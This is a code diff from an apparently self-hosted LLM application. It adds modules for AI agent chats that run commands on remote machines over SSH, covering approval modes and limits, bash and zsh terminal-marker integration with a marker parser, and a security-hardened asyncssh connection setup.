"MODE_MANUAL",
|
||||
"MODE_PLAN",
|
||||
"POLICY",
|
||||
"Decision",
|
||||
"Limits",
|
||||
"decide",
|
||||
"subject",
|
||||
]
|
||||
@@ -0,0 +1,186 @@
|
||||
"""What one agent chat is pointed at, resolved while a session is open.
|
||||
|
||||
Everything a runner needs travels in `AgentContext`: the machine, the decrypted
|
||||
credential, the mode in force, and the two lists that adjust it. Nothing is
|
||||
looked up later, for the reason `Endpoint` is a frozen copy of a `Connection`
|
||||
and `ToolContext` carries an owner id rather than a `User` -- a generation
|
||||
outlives the request that started it, and a detached instance is a trap.
|
||||
|
||||
The mode is read **once, at the start of the reply**, and deliberately does not
|
||||
change under a reply already in flight. Somebody switching to Auto halfway
|
||||
through must not retroactively approve what is already queued.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from dataclasses import dataclass, field, replace
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_AGENT, Chat, SshProfile, User
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent.base import Executor
|
||||
from lembas.services.agent.policy import Limits
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class AgentContext:
|
||||
"""The machine an agent chat acts on, and what it may do there."""
|
||||
|
||||
chat_id: str
|
||||
label: str
|
||||
project_dir: str
|
||||
# The connection's id, carried so a runner can drop the project listing it
|
||||
# has just invalidated. `index` is keyed on the connection and the
|
||||
# directory, not on the chat -- two chats on one tree share a listing.
|
||||
profile_id: str = ""
|
||||
mode: str = policy.MODE_MANUAL
|
||||
allow: tuple[str, ...] = ()
|
||||
deny: tuple[str, ...] = ()
|
||||
limits: Limits = field(default_factory=Limits)
|
||||
# Per-command bounds, from the instance settings.
|
||||
timeout: float = 60.0
|
||||
max_timeout: float = 600.0
|
||||
max_output: int = 64 * 1024
|
||||
# The decrypted credential. Held here and nowhere else, and cleared by
|
||||
# `generation` when the reply ends -- a finished Generation lingers five
|
||||
# minutes so late followers get the final frames, and a private key should
|
||||
# not linger with it.
|
||||
spec: dict[str, Any] = field(default_factory=dict)
|
||||
# Set only on the per-call copy handed to a runner whose call a person has
|
||||
# just allowed. The runners re-check the mode as a backstop, and without
|
||||
# this they would refuse the very thing that was approved -- the mode says
|
||||
# "ask", and asking is exactly what happened.
|
||||
approved: bool = False
|
||||
# Absolute paths this reply has read. `file_edit` refuses a file that is not
|
||||
# in here, because a patch written from memory against a file the model has
|
||||
# not looked at is how a rewrite silently loses somebody's work.
|
||||
#
|
||||
# Here rather than on `Generation` for two reasons. Runners never see a
|
||||
# Generation -- they get a `ToolContext`, which is a session-free snapshot
|
||||
# precisely so nothing in a tool holds live state -- and a read path is a
|
||||
# fact about the machine, which is what this class is.
|
||||
#
|
||||
# It is **shared with the approved copy**: `as_approved` is
|
||||
# `dataclasses.replace`, which copies field references, so a path read
|
||||
# through an approved call is visible here. That is wanted and is not
|
||||
# obvious, so there is a test for it.
|
||||
#
|
||||
# It resets each reply, and that is correct rather than a limitation.
|
||||
# `Message.tool_calls_json` is deliberately never replayed as context, so on
|
||||
# the next turn the model does not have the file's contents either --
|
||||
# requiring a re-read in the reply that edits is asking for something it
|
||||
# needs anyway.
|
||||
read_paths: set[str] = field(default_factory=set)
|
||||
# The plan currently in force, seeded from `chat.plan_message_id` when this
|
||||
# is resolved. Mutable and read/written in place by `plan_update`, for a
|
||||
# reason that is not obvious: a runner cannot write the message row --
|
||||
# `_persist` is the single writer -- so it returns the merged plan on its
|
||||
# event and the loop carries it. Two updates in one reply would then both
|
||||
# read the same stale plan from the database and the second would lose the
|
||||
# first. This snapshot is what they actually merge into.
|
||||
plan: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
def executor(self) -> Executor:
|
||||
return ssh_service.SshExecutor(self.spec, self.project_dir)
|
||||
|
||||
def clear(self) -> None:
|
||||
self.spec = {}
|
||||
|
||||
def as_approved(self) -> AgentContext:
|
||||
"""A copy of this context for one call a person has allowed."""
|
||||
return replace(self, approved=True)
|
||||
|
||||
|
||||
def _plan_of(db: DBSession, chat: Chat) -> dict[str, Any]:
|
||||
"""The plan this chat is working to, or an empty dict.
|
||||
|
||||
One `db.get` by primary key -- the column exists to avoid a scan for "the
|
||||
newest message carrying a plan", because this runs while a request is
|
||||
waiting. The id is validated here rather than constrained in the schema, for
|
||||
the reason the column's comment gives.
|
||||
"""
|
||||
from lembas.db.models import Message
|
||||
from lembas.services import plans
|
||||
|
||||
if not chat.plan_message_id:
|
||||
return {}
|
||||
message = db.get(Message, chat.plan_message_id)
|
||||
if message is None or message.chat_id != chat.id:
|
||||
return {}
|
||||
return plans.normalise(message.plan_json)
|
||||
|
||||
|
||||
def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | None:
|
||||
"""The connection this chat is pointed at, if it is still usable.
|
||||
|
||||
Ownership is re-checked here rather than trusted from when the chat was
|
||||
created: a profile can be deleted, disabled, or moved to a host whose key
|
||||
has not been confirmed since, and any of those should stop the chat acting
|
||||
rather than be discovered at the first command.
|
||||
"""
|
||||
if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
|
||||
return None
|
||||
|
||||
profile = db.get(SshProfile, chat.ssh_profile_id)
|
||||
if profile is None or not profile.enabled:
|
||||
return None
|
||||
if user is not None and profile.owner_id != user.id:
|
||||
return None
|
||||
return profile
|
||||
|
||||
|
||||
def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None:
|
||||
"""This chat's agent setup, or None if it has none it can use.
|
||||
|
||||
None is the answer to every "no": not an agent chat, the feature switched
|
||||
off, the connection gone or disabled, SSH not installed. Each of those means
|
||||
the agent tools are not offered at all, which is better than offering a tool
|
||||
that fails on its first call.
|
||||
|
||||
A profile whose host key has never been confirmed is deliberately *not* one
|
||||
of them. The tools are offered and the failure is explicit, because "check
|
||||
the connection and accept its fingerprint" is a thing the reader can act on,
|
||||
while a silently missing tool is not.
|
||||
"""
|
||||
profile = profile_for(db, chat, user)
|
||||
if profile is None:
|
||||
return None
|
||||
|
||||
values = settings_store.agents(db)
|
||||
if not values.get("enabled"):
|
||||
return None
|
||||
if ssh_service.available():
|
||||
return None
|
||||
|
||||
return AgentContext(
|
||||
chat_id=chat.id,
|
||||
label=profile.label,
|
||||
plan=_plan_of(db, chat),
|
||||
project_dir=chat.project_dir or profile.default_dir or "",
|
||||
profile_id=profile.id,
|
||||
mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL,
|
||||
allow=tuple(values.get("allow_default") or ()),
|
||||
deny=tuple(values.get("deny_default") or ()),
|
||||
limits=Limits(
|
||||
steps=int(values.get("max_steps") or 200),
|
||||
wall_seconds=float(values.get("max_wall_seconds") or 900),
|
||||
output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
|
||||
# `or 0` would turn a deliberate 0 into the default, and 0 is how an
|
||||
# administrator says "no ceiling". `agents()` has already clamped it.
|
||||
completion_tokens=int(values.get("max_completion_tokens", 200_000) or 0),
|
||||
),
|
||||
timeout=float(values.get("default_timeout") or 60),
|
||||
max_timeout=float(values.get("max_timeout") or 600),
|
||||
max_output=int(values.get("max_output_bytes") or 64 * 1024),
|
||||
spec=ssh_service.spec_from(profile),
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["AgentContext", "profile_for", "resolve"]
|
||||
@@ -0,0 +1,401 @@
|
||||
"""Knowing where one command ends and the next begins, in the terminal panel.
|
||||
|
||||
Without this the panel can offer "the last forty rows of the screen", which is
|
||||
hard-wrapped at the terminal's width with no way to tell a wrap from a newline.
|
||||
That is not something to hand a model and call it the output of a command.
|
||||
|
||||
So the shell is given hooks that emit invisible markers around the prompt, the
|
||||
command and its result -- OSC 133, which is what VS Code, WezTerm and Ghostty
|
||||
all use, plus two of VS Code's private codes for the things 133 has no room
|
||||
for. A real terminal that understands 133 is not confused by ours, and one that
|
||||
does not consumes and discards them, which is why the bytes are fanned out to
|
||||
the browser unchanged.
|
||||
|
||||
**Three things about the mechanism.**
|
||||
|
||||
The integration is written by the PTY command string itself, with `printf`.
|
||||
sshd runs that string through `$SHELL -c`, so it can branch on the shell's own
|
||||
name and needs no probe, no second channel and no writable `$HOME`. Passing it
|
||||
through the environment does not work: sshd's `AcceptEnv` is `LANG LC_*` on
|
||||
every distribution anybody runs, so the variable is dropped silently -- and
|
||||
bash reads `$BASH_ENV` only when non-interactive anyway. Feeding `source …` in
|
||||
as keystrokes does work, and races a slow `.zshrc`, echoes into the scrollback,
|
||||
and lands in shell history with no portable way to remove it.
|
||||
|
||||
Nothing needs hiding, and that is the point of choosing this mechanism. The
|
||||
setup runs before the shell exists and never writes to the PTY's *input* side,
|
||||
so there is nothing for the tty to echo. The first byte a viewer sees is the
|
||||
first byte of their own prompt.
|
||||
|
||||
There is deliberately no `133;B`. It has to live at the end of `PS1`, and any
|
||||
theme that rebuilds the prompt in a hook drops it silently every time. Every
|
||||
marker here comes from a shell hook instead, so none of them depends on a
|
||||
prompt string surviving somebody's dotfiles.
|
||||
|
||||
**Markers are advisory.** A program can print `\\e]133;D;0\\a` and move a
|
||||
boundary. That is not a security problem -- the captured text is sanitised and
|
||||
fenced either way, and a program could already print anything on screen -- but
|
||||
nobody should later try to "validate" them.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from collections.abc import Callable
|
||||
|
||||
# Everything ours is under these two. 133 is FinalTerm's de-facto convention;
|
||||
# 633 is VS Code's private space, borrowed because the raw stream carries the
|
||||
# *echoed* command with readline's editing escapes in it and is not
|
||||
# recoverable, and there is no standard code for "here is the command line".
|
||||
MARK_PROMPT = "A" # 133;A -- a prompt is about to be drawn
|
||||
MARK_OUTPUT = "C" # 133;C -- output starts here
|
||||
MARK_DONE = "D" # 133;D;<exit>
|
||||
MARK_COMMAND = "E" # 633;E;<escaped command>
|
||||
MARK_CWD = "P" # 633;P;Cwd=<escaped path>
|
||||
MARK_READY = "LEMBAS" # 633;LEMBAS;<shell>;1
|
||||
|
||||
# A marker longer than this is not one of ours. `cat` of a binary file produces
|
||||
# stray ESC ] regularly, and without a bound one of them would swallow the rest
|
||||
# of the session into a buffer that never emptied.
|
||||
MAX_MARKER_BYTES = 8 * 1024
|
||||
|
||||
_ESC = 0x1B
|
||||
_BEL = 0x07
|
||||
|
||||
|
||||
# --- The snippets ------------------------------------------------------------
|
||||
# `__lembas_esc` exists because an OSC payload may contain no BEL and no ESC
|
||||
# (either would end it ambiguously) and no ';' (which would split the fields).
|
||||
# Everything else rides through. It is also what lets `base.clean_output`'s
|
||||
# existing OSC pattern swallow a whole marker in one bite.
|
||||
|
||||
BASH_RC = r"""
|
||||
# LLeMbas shell integration.
|
||||
#
|
||||
# --rcfile replaces bash's normal startup files rather than adding to them, so
|
||||
# bash's login sequence is reproduced here, in bash's own order, and nothing
|
||||
# anybody has in a dotfile is skipped.
|
||||
if [ -r /etc/profile ]; then . /etc/profile; fi
|
||||
for __lembas_rc in "$HOME/.bash_profile" "$HOME/.bash_login" "$HOME/.profile"; do
|
||||
if [ -r "$__lembas_rc" ]; then . "$__lembas_rc"; break; fi
|
||||
done
|
||||
unset __lembas_rc
|
||||
if [ -r "$HOME/.bashrc" ]; then . "$HOME/.bashrc"; fi
|
||||
|
||||
__lembas_esc() {
|
||||
local s=${1//\\/\\\\}
|
||||
s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
|
||||
s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
|
||||
builtin printf '%s' "$s"
|
||||
}
|
||||
|
||||
__lembas_emit() {
|
||||
if [ -n "$__lembas_running" ]; then
|
||||
builtin printf '\e]133;D;%s\a' "${__lembas_last:-0}"
|
||||
__lembas_running=
|
||||
__lembas_have=
|
||||
fi
|
||||
builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc "$PWD")"
|
||||
builtin printf '\e]133;A\a'
|
||||
__lembas_armed=1
|
||||
}
|
||||
|
||||
# $BASH_COMMAND is the current *simple* command, so `a | b` would give "a".
|
||||
# `history 1` is the whole line as typed, which is what somebody would
|
||||
# recognise; it falls back when history is off.
|
||||
__lembas_line() {
|
||||
local h
|
||||
h=$(HISTTIMEFORMAT='' builtin history 1 2>/dev/null) || {
|
||||
builtin printf '%s' "$BASH_COMMAND"; return; }
|
||||
if [[ $h =~ ^[[:space:]]*[0-9]+[[:space:]]+(.*)$ ]]; then
|
||||
builtin printf '%s' "${BASH_REMATCH[1]}"
|
||||
else
|
||||
builtin printf '%s' "$BASH_COMMAND"
|
||||
fi
|
||||
}
|
||||
|
||||
# The exit status is captured *in the DEBUG trap*, not in PROMPT_COMMAND.
|
||||
#
|
||||
# This is the one genuinely subtle thing in the file. DEBUG fires before every
|
||||
# simple command -- including each command inside PROMPT_COMMAND -- so anything
|
||||
# reading $? from there has already had it overwritten by whatever ran a moment
|
||||
# earlier, and by this trap's own command substitution. The first DEBUG firing
|
||||
# after the user's command is the last place the real status exists, so it is
|
||||
# taken there and held until the prompt emits it.
|
||||
#
|
||||
# `__lembas_have` is what stops the later firings (the ones inside
|
||||
# PROMPT_COMMAND) overwriting it, and `return $__s` puts $? back so nothing
|
||||
# downstream sees a status this trap invented.
|
||||
__lembas_debug() {
|
||||
local __s=$?
|
||||
if [ -n "$__lembas_running" ] && [ -z "$__lembas_have" ]; then
|
||||
__lembas_last=$__s
|
||||
__lembas_have=1
|
||||
fi
|
||||
if [ -n "$__lembas_armed" ]; then
|
||||
__lembas_armed=
|
||||
builtin printf '\e]633;E;%s\a' "$(__lembas_esc "$(__lembas_line)")"
|
||||
builtin printf '\e]133;C\a'
|
||||
__lembas_running=1
|
||||
fi
|
||||
return $__s
|
||||
}
|
||||
|
||||
trap '__lembas_debug' DEBUG
|
||||
|
||||
# Appended, so anything already there still runs and runs first.
|
||||
if [ -n "${BASH_VERSINFO[0]}" ] && [ "${BASH_VERSINFO[0]}" -ge 5 ] \
|
||||
&& [ "${PROMPT_COMMAND@a}" = "a" ]; then
|
||||
PROMPT_COMMAND=("${PROMPT_COMMAND[@]}" __lembas_emit)
|
||||
else
|
||||
PROMPT_COMMAND="${PROMPT_COMMAND:+$PROMPT_COMMAND; }__lembas_emit"
|
||||
fi
|
||||
|
||||
builtin printf '\e]633;LEMBAS;bash;1\a'
|
||||
|
||||
# Self-deleting: bash has read the whole file by the time this runs, and one
|
||||
# left in /tmp that a later shell might source is worse than any benefit.
|
||||
rm -rf -- "$(dirname -- "${BASH_SOURCE[0]}")" 2>/dev/null
|
||||
"""
|
||||
|
||||
# zsh re-reads $ZDOTDIR before *each* startup file, so every shim points it back
|
||||
# at the user's directory, sources their file, and takes it again -- otherwise
|
||||
# zsh finds the user's .zshrc and ours never loads.
|
||||
#
|
||||
# `LEMBAS_USER_ZDOTDIR` is passed in on the exec line and must not be guessed
|
||||
# here. By the time .zshenv runs, `$ZDOTDIR` is already *our* directory, so a
|
||||
# `${ZDOTDIR:-$HOME}` fallback in this file captures the wrong path and the
|
||||
# shim ends up sourcing itself -- which looks like it works, right up to the
|
||||
# point somebody notices none of their own configuration is loaded.
|
||||
_ZSH_SHIM = r"""
|
||||
: ${LEMBAS_USER_ZDOTDIR:=$HOME}
|
||||
ZDOTDIR=$LEMBAS_USER_ZDOTDIR
|
||||
[[ -r $ZDOTDIR/%(file)s ]] && source $ZDOTDIR/%(file)s
|
||||
LEMBAS_USER_ZDOTDIR=$ZDOTDIR
|
||||
ZDOTDIR=$LEMBAS_DIR
|
||||
"""
|
||||
|
||||
ZSH_ENV = _ZSH_SHIM % {"file": ".zshenv"}
|
||||
ZSH_PROFILE = _ZSH_SHIM % {"file": ".zprofile"}
|
||||
|
||||
ZSH_RC = (
|
||||
_ZSH_SHIM % {"file": ".zshrc"}
|
||||
+ r"""
|
||||
__lembas_esc() {
|
||||
local s=${1//\\/\\\\}
|
||||
s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
|
||||
s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
|
||||
builtin print -rn -- $s
|
||||
}
|
||||
|
||||
__lembas_precmd() {
|
||||
local __s=$?
|
||||
if [[ -n $__lembas_running ]]; then
|
||||
builtin printf '\e]133;D;%s\a' $__s
|
||||
__lembas_running=
|
||||
fi
|
||||
builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc $PWD)"
|
||||
builtin printf '\e]133;A\a'
|
||||
}
|
||||
|
||||
# $1 is the line as typed, before alias and glob expansion -- what somebody
|
||||
# would recognise. $2 and $3 are progressively more expanded and less useful.
|
||||
__lembas_preexec() {
|
||||
builtin printf '\e]633;E;%s\a' "$(__lembas_esc $1)"
|
||||
builtin printf '\e]133;C\a'
|
||||
__lembas_running=1
|
||||
}
|
||||
|
||||
# Prepended, not appended: whichever precmd runs first is the only one that
|
||||
# sees the real $?, and a theme's hook will have clobbered it by the time a
|
||||
# later one runs.
|
||||
precmd_functions=(__lembas_precmd $precmd_functions)
|
||||
preexec_functions=(__lembas_preexec $preexec_functions)
|
||||
|
||||
builtin printf '\e]633;LEMBAS;zsh;1\a'
|
||||
"""
|
||||
)
|
||||
|
||||
ZSH_LOGIN = (
|
||||
_ZSH_SHIM % {"file": ".zlogin"}
|
||||
+ r"""
|
||||
# The last file zsh reads, so this is where ZDOTDIR goes back for good.
|
||||
ZDOTDIR=$LEMBAS_USER_ZDOTDIR
|
||||
[[ -n $LEMBAS_DIR ]] && rm -rf -- $LEMBAS_DIR
|
||||
unset LEMBAS_DIR LEMBAS_USER_ZDOTDIR
|
||||
"""
|
||||
)
|
||||
|
||||
|
||||
def quote(value: str) -> str:
|
||||
"""A single-quoted shell word, with embedded quotes escaped."""
|
||||
return "'" + value.replace("'", "'\\''") + "'"
|
||||
|
||||
|
||||
def command_for(project_dir: str, *, integrate: bool = True) -> str | None:
|
||||
"""What the PTY runs.
|
||||
|
||||
Returns None for the account's plain login shell in the one case that has
|
||||
always returned it -- no project directory and no integration -- so the
|
||||
existing behaviour is byte for byte what it was.
|
||||
|
||||
`$SHELL -c` is what sshd puts this through, so it is POSIX sh and branches
|
||||
on the shell's own name. Anything that is not bash or zsh falls out of the
|
||||
`case` into exactly the line that was here before, because a terminal that
|
||||
works without markers is worth more than markers that break a terminal.
|
||||
Every step is `2>/dev/null`, so a full `/tmp` or a read-only home costs the
|
||||
markers and nothing else.
|
||||
"""
|
||||
cd = f"cd {quote(project_dir)} 2>/dev/null; " if project_dir else ""
|
||||
if not integrate:
|
||||
if not project_dir:
|
||||
return None
|
||||
return f"{cd}exec ${{SHELL:-/bin/sh}} -l"
|
||||
|
||||
return (
|
||||
f"{cd}umask 077; "
|
||||
# mkdir -m 700 fails on a path that already exists, which is what makes
|
||||
# the fallback safe when mktemp is missing.
|
||||
'__L=$(mktemp -d 2>/dev/null) || { '
|
||||
'__L=${TMPDIR:-/tmp}/.lembas-$$-$RANDOM; mkdir -m 700 "$__L"; }; '
|
||||
"case ${SHELL##*/} in "
|
||||
f' bash) printf %s {quote(BASH_RC)} > "$__L/rc" 2>/dev/null && '
|
||||
' exec bash --rcfile "$__L/rc" -i ;; '
|
||||
f' zsh) printf %s {quote(ZSH_ENV)} > "$__L/.zshenv" 2>/dev/null && '
|
||||
f' printf %s {quote(ZSH_PROFILE)} > "$__L/.zprofile" 2>/dev/null && '
|
||||
f' printf %s {quote(ZSH_RC)} > "$__L/.zshrc" 2>/dev/null && '
|
||||
f' printf %s {quote(ZSH_LOGIN)} > "$__L/.zlogin" 2>/dev/null && '
|
||||
# The user's own ZDOTDIR is captured *here*, before it is replaced.
|
||||
' LEMBAS_DIR="$__L" LEMBAS_USER_ZDOTDIR="${ZDOTDIR:-$HOME}" '
|
||||
' ZDOTDIR="$__L" exec zsh -l ;; '
|
||||
"esac; "
|
||||
# Everything that did not exec lands here: an unknown shell, a failed
|
||||
# mkdir, a full /tmp. You still get a shell.
|
||||
'rm -rf -- "$__L" 2>/dev/null; exec ${SHELL:-/bin/sh} -l'
|
||||
)
|
||||
|
||||
|
||||
# --- Reading them back -------------------------------------------------------
|
||||
_UNESCAPE = re.compile(r"\\x([0-9a-fA-F]{2})")
|
||||
|
||||
|
||||
def unescape(value: str) -> str:
|
||||
"""Undo `__lembas_esc`."""
|
||||
return _UNESCAPE.sub(lambda m: chr(int(m.group(1), 16)), value).replace("\\\\", "\\")
|
||||
|
||||
|
||||
class Marks:
|
||||
"""Pulls the markers out of a stream that arrives in any pieces.
|
||||
|
||||
Deliberately not a regex over the scrollback. The pump is handed 64 KB at a
|
||||
time on no particular boundary, so the ESC and the `]` land in different
|
||||
frames often enough to matter -- which is the same reason nothing here
|
||||
decodes the bytes. This holds at most one partial marker and nothing else.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
on_mark: Callable[[str, str], None],
|
||||
on_text: Callable[[bytes], None] | None = None,
|
||||
) -> None:
|
||||
self._on_mark = on_mark
|
||||
self._on_text = on_text
|
||||
self._buffer = bytearray()
|
||||
self._in_marker = False
|
||||
self._plain = bytearray()
|
||||
|
||||
def feed(self, data: bytes) -> None:
|
||||
"""Split the stream into markers and everything else.
|
||||
|
||||
Both come back *in order* and as they are found, not after the whole
|
||||
chunk has been scanned. That matters: a shell frequently writes the
|
||||
command marker, the output and the finished marker in one 64KB read, so
|
||||
anything that scanned first and absorbed afterwards would find the
|
||||
capture already closed and keep nothing.
|
||||
"""
|
||||
for byte in data:
|
||||
if not self._in_marker:
|
||||
# A lone ESC is held: the ']' may be in the next frame.
|
||||
if byte == _ESC:
|
||||
self._flush()
|
||||
self._buffer = bytearray([byte])
|
||||
self._in_marker = True
|
||||
else:
|
||||
self._plain.append(byte)
|
||||
continue
|
||||
|
||||
if len(self._buffer) == 1:
|
||||
if byte != 0x5D: # ']' -- some other escape sequence
|
||||
# Not ours, so it is output like anything else. Emitted
|
||||
# rather than dropped: `clean_output` strips it later, and
|
||||
# swallowing it here would silently eat a colour change.
|
||||
self._in_marker = False
|
||||
self._plain += self._buffer
|
||||
self._plain.append(byte)
|
||||
self._buffer.clear()
|
||||
continue
|
||||
self._buffer.append(byte)
|
||||
continue
|
||||
|
||||
# Two legal terminators, and shells in the wild use both: BEL, and
|
||||
# ESC \ (ST). The ESC has to be *appended* rather than treated as
|
||||
# the start of something new, or the ST branch below can never fire.
|
||||
if byte == _BEL:
|
||||
self._finish()
|
||||
continue
|
||||
|
||||
self._buffer.append(byte)
|
||||
if self._buffer.endswith(b"\x1b\\"):
|
||||
del self._buffer[-2:]
|
||||
self._finish()
|
||||
continue
|
||||
# An `ESC ]` inside a marker that was never terminated starts a new
|
||||
# one. Without this a truncated marker would eat the next.
|
||||
if self._buffer.endswith(b"\x1b]"):
|
||||
self._buffer = bytearray(b"\x1b]")
|
||||
continue
|
||||
if len(self._buffer) > MAX_MARKER_BYTES:
|
||||
# Not one of ours. Output is worth more than a marker.
|
||||
self._in_marker = False
|
||||
self._plain += self._buffer
|
||||
self._buffer.clear()
|
||||
|
||||
self._flush()
|
||||
|
||||
def _flush(self) -> None:
|
||||
if not self._plain:
|
||||
return
|
||||
if self._on_text is not None:
|
||||
self._on_text(bytes(self._plain))
|
||||
self._plain.clear()
|
||||
|
||||
def _finish(self) -> None:
|
||||
payload = bytes(self._buffer[2:]).decode("utf-8", "replace")
|
||||
self._in_marker = False
|
||||
self._buffer.clear()
|
||||
|
||||
code, _, rest = payload.partition(";")
|
||||
if code not in ("133", "633") or not rest:
|
||||
return
|
||||
kind, _, value = rest.partition(";")
|
||||
self._on_mark(kind, value)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"BASH_RC",
|
||||
"MARK_COMMAND",
|
||||
"MARK_CWD",
|
||||
"MARK_DONE",
|
||||
"MARK_OUTPUT",
|
||||
"MARK_PROMPT",
|
||||
"MARK_READY",
|
||||
"MAX_MARKER_BYTES",
|
||||
"Marks",
|
||||
"ZSH_ENV",
|
||||
"ZSH_LOGIN",
|
||||
"ZSH_PROFILE",
|
||||
"ZSH_RC",
|
||||
"command_for",
|
||||
"quote",
|
||||
"unescape",
|
||||
]
|
||||
@@ -0,0 +1,396 @@
|
||||
"""Acting on a machine over SSH.
|
||||
|
||||
Connections are made per call, for the reason MCP sessions are, plus one more: a
|
||||
live `SSHClientConnection` is exactly the kind of state `ToolContext` exists so
|
||||
that nothing holds. A command is already a network round trip inside a reply
|
||||
that takes seconds, so a second one to open the channel is not the cost worth
|
||||
optimising.
|
||||
|
||||
**Four asyncssh defaults are actively wrong here, and all four are passed
|
||||
explicitly on every connection.** Every LLeMbas user shares one unix account, so
|
||||
"whatever the account has lying around" is never the right answer:
|
||||
|
||||
* `known_hosts` unset reads that shared `~/.ssh/known_hosts` -- one trust store
|
||||
for everybody. Set to `None` it disables host key checking altogether, which
|
||||
is never correct and is the single easiest way to make this insecure.
|
||||
* `client_keys` unset loads `~/.ssh/id_*`, so one person's chat could
|
||||
authenticate with a key another person left there, or with the server's own.
|
||||
* `config` unset reads `~/.ssh/config`, where a `Hostname` or `ProxyCommand`
|
||||
can send the connection somewhere else entirely.
|
||||
* `agent_path` unset silently uses `$SSH_AUTH_SOCK`.
|
||||
|
||||
`asyncssh` is an optional dependency, imported inside the functions that need it
|
||||
so an instance with agents switched off never pays for it and an instance that
|
||||
forgot to install it gets a sentence rather than an ImportError at startup.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from lembas.db.models import AUTH_PASSWORD, SshProfile
|
||||
from lembas.services.agent.base import (
|
||||
ExecError,
|
||||
ExecRequest,
|
||||
ExecResult,
|
||||
RemoteEntry,
|
||||
clean_output,
|
||||
)
|
||||
from lembas.services.crypto import decrypt
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# A file read into a model's context, and one written out of it. Both bounded:
|
||||
# the first because a 40 MB log would fill the window, the second because
|
||||
# nothing a model writes in one call should be larger than this.
|
||||
MAX_READ_BYTES = 256 * 1024
|
||||
MAX_WRITE_BYTES = 1024 * 1024
|
||||
|
||||
# How many entries a directory listing returns before it is cut short.
|
||||
MAX_ENTRIES = 500
|
||||
|
||||
INSTALL_HINT = (
|
||||
"SSH support is not installed. Run `pip install -e \".[ssh]\"` in the "
|
||||
"LLeMbas virtual environment and restart."
|
||||
)
|
||||
|
||||
|
||||
def available() -> str:
|
||||
"""Empty when SSH can be used, else why it cannot.
|
||||
|
||||
Shaped like `search.availability`, and used the same way: the feature stays
|
||||
visible in the UI with an install hint rather than silently missing.
|
||||
"""
|
||||
try:
|
||||
import asyncssh # noqa: F401
|
||||
except ImportError:
|
||||
return INSTALL_HINT
|
||||
return ""
|
||||
|
||||
|
||||
def spec_from(profile: SshProfile) -> dict[str, Any]:
|
||||
"""A session-free snapshot of one profile, credential decrypted.
|
||||
|
||||
Called while the session is open. The plaintext lives in the returned dict
|
||||
and nowhere else; `generation` drops it when the reply ends.
|
||||
"""
|
||||
return {
|
||||
"id": profile.id,
|
||||
"label": profile.label,
|
||||
"host": profile.host,
|
||||
"port": int(profile.port or 22),
|
||||
"username": profile.username,
|
||||
"auth": profile.auth,
|
||||
"password": decrypt(profile.password_encrypted),
|
||||
"private_key": decrypt(profile.private_key_encrypted),
|
||||
"key_passphrase": decrypt(profile.key_passphrase_encrypted),
|
||||
"host_key": profile.host_key,
|
||||
"connect_timeout": int(profile.connect_timeout or 15),
|
||||
}
|
||||
|
||||
|
||||
def connect_kwargs(spec: dict[str, Any]) -> dict[str, Any]:
|
||||
"""Everything asyncssh must be told rather than left to discover.
|
||||
|
||||
See the module docstring: every one of these has a default that is wrong
|
||||
when one unix account is shared by every user of the instance.
|
||||
"""
|
||||
if not spec.get("host_key"):
|
||||
raise ExecError(
|
||||
"This connection's host key has not been confirmed yet. Open it "
|
||||
"under Agents and press Check, then accept the fingerprint."
|
||||
)
|
||||
|
||||
keys: list = []
|
||||
if spec.get("auth") != AUTH_PASSWORD and spec.get("private_key"):
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
keys = [
|
||||
asyncssh.import_private_key(
|
||||
spec["private_key"], passphrase=spec.get("key_passphrase") or None
|
||||
)
|
||||
]
|
||||
except Exception as exc: # noqa: BLE001 - any failure here is one message
|
||||
raise ExecError(f"That private key could not be read: {exc}") from exc
|
||||
|
||||
timeout = int(spec.get("connect_timeout") or 15)
|
||||
return {
|
||||
"username": spec["username"],
|
||||
"port": int(spec.get("port") or 22),
|
||||
# Bytes, never None. None turns host key checking off entirely.
|
||||
"known_hosts": spec["host_key"].encode(),
|
||||
"client_keys": keys,
|
||||
"password": (spec.get("password") or None) if spec.get("auth") == AUTH_PASSWORD else None,
|
||||
"config": None,
|
||||
"agent_path": None,
|
||||
"connect_timeout": timeout,
|
||||
"login_timeout": timeout,
|
||||
}
|
||||
|
||||
|
||||
async def capture_host_key(host: str, port: int, *, timeout: int = 15) -> tuple[str, str]:
|
||||
"""The host's key as a known_hosts line, and its SHA256 fingerprint.
|
||||
|
||||
`get_server_host_key` completes the key exchange and stops, so nothing is
|
||||
offered to a host that has not been accepted yet -- no username, no
|
||||
password, no key. That is what makes trust-on-first-use safe to do from a
|
||||
button rather than only from a terminal.
|
||||
"""
|
||||
if problem := available():
|
||||
raise ExecError(problem)
|
||||
import asyncio
|
||||
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
key = await asyncio.wait_for(
|
||||
asyncssh.get_server_host_key(host, port=port), timeout=timeout
|
||||
)
|
||||
